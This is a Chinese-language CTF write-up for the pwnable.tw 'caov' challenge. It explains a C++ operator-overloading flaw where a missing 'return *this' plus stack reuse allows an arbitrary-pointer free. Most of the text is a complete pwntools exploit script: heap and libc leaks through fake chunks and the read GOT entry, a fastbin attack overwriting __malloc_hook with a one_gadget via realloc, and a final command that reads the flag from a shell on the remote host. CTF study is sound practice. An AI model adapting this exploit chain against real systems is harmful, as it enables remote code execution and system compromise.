漏洞点:
- 虽然给了源码但是漏洞得看二进制文件才能看出,结合flag,这是C++运算符重载相关的漏洞
edit
的时候存在栈复用,可以任意指针free
漏洞原理:
- 正常运算符重载的写法(这里只讨论写为成员函数)需要在成员函数末尾
return *this
,同时返回值需要为当前对象类型的引用类型,这个返回值会作为其他运算的右值,如a = b = c
,为了保证程序正常,这个值必须要存在。
- 如果不主动写
return *this
,g++在编译的时候,会把返回值指针指向栈上一段同类型大小的空内存(填充为null),把这段空内存作为右值(隐式的return)然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete
。
- 但是空内存可以借助栈复用进行修改,构造出我们自定义的指针,这样在析构函数中如果有对某些指针域的
delete
,就可以构造出任意地址free
利用思路:
- 难点在第一步的
leak heap
。通过在bss上构造fakechunk
和自定义指针free
出bss
上的chunk
,然后借助一个非法size值跳过最后的析构避免doublefree
,这样可以在不触发0截断时输出free
过chunk上的fd
值。具体细节,其实挺复杂,只可意会不可言传。
leak heap
之后修改堆上对象内存指针指向保存了libc
地址的位置,调用info
成员函数leak libc
- 最后打
__malloc_hook
(需要__realloc_hook
间接补全栈条件)
EXP
from pwn import *
#p = process("./caov")
p = remote("chall.pwnable.tw", 10306)
elf = ELF("./caov")
libc = ELF("./libc_64.so.6")
#libc = ELF("./libc.so.6")
context.log_level = "debug"
def show():
p.recvuntil("Your choice: ")
p.sendline(b"1")
def edit(name, key_len:int, key, value):
p.recvuntil("Your choice: ")
p.sendline(b"2")
p.recvuntil("Enter your name: ")
p.sendline(name)
p.recvuntil("New key length: ")
p.sendline(str(key_len).encode())
if key_len > 1000:
return
p.recvuntil("Key: ")
p.sendline(key)
p.recvuntil("Value: ")
p.sendline(str(value).encode())
def go_exit():
p.recvuntil("Your choice: ")
p.sendline(b"3")
def exp():
#const
bss_name = 0x6032C0
fake_chunk = 0x6032a0 + 0x2 - 0x8
one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
read_got = 0x602F40
#init
init_name = b"eqqie"
init_key = b"\x00"*0x30
init_value = str(0xdeadbeef).encode()
p.recvuntil("Enter your name: ")
p.sendline(init_name)
p.recvuntil("Please input a key: ")
p.sendline(init_key)
p.recvuntil("Please input a value: ")
p.sendline(init_value)
#leak heap
#gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n")
#gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
payload1 = p64(0)+p64(0x20)+b"DDDDDDDD"
payload1 = payload1.ljust(0x20, b"A")
payload1 += p64(0x20) + p64(0x20)
payload1 = payload1.ljust(0x60, b"A")
payload1 += p64(bss_name+0x10)
edit(payload1, 20, b"A"*20, 0xdeadbeef)
payload2 = p64(0)+p64(0x41)+p64(0)
payload2 = payload2.ljust(0x40, b"A")
payload2 += p64(0x00) + p64(0x20)
payload2 = payload2.ljust(0x60, b"A")
payload2 += p64(bss_name+0x10)
edit(payload2, 1020, b"1", 0xdeadbeef)
p.recvuntil(b"Key: ")
p.recvuntil(b"Key: ")
heap_leak = u64(p.recv(3).ljust(8, b"\x00"))
heap_base = heap_leak - 0x11c90
data_obj = heap_base + 0x11ce0 - 0x10
heap_with_libc = heap_base + 0x11e30
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
print("data_obj:", hex(data_obj))
print("heap_with_libc:", hex(heap_with_libc))
#gdb.attach(p)
# get obj chunk && leak libc
#gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
payload3 = p64(0)
payload3 = payload3.ljust(0x60, b"B")
payload3 += p64(data_obj+0x10)
edit(payload3, 0x30, p64(read_got), 0xdeadbeef)
show()
p.recvuntil(b"Key: ")
libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - libc.symbols[b"read"]
one_gadget = libc_base + one_remote[1]
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
fake_chunk = malloc_hook - 0x23
realloc = libc_base + libc.symbols[b"realloc"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("one_gadget:", hex(one_gadget))
print("malloc_hook:", hex(malloc_hook))
print("fake_chunk:", hex(fake_chunk))
# get malloc_hook
## fakebin akkack
payload4 = p64(0) + p64(0x71)
payload4 = payload4.ljust(0x60, b"A")
payload4 += p64(bss_name+0x10)
payload4 = payload4.ljust(0x70, b"A")
payload4 += p64(0x70) + p64(0x21)
edit(payload4, 1020, b"1", 0xdeadbeef)
## fake fd
payload5 = p64(0) + p64(0x71)
payload5 += p64(fake_chunk)
edit(payload5, 1020, b"1", 0xdeadbeef)
## get fake chunk
edit(p64(0) + b"\x71", 0x60, b"1", 0xdeadbeef)
#gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
edit(b"eqqie", 0x60, b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc), 0xdeadbeef)
p.sendline("cat /home/*/flag")
p.interactive()
if __name__ == "__main__":
exp()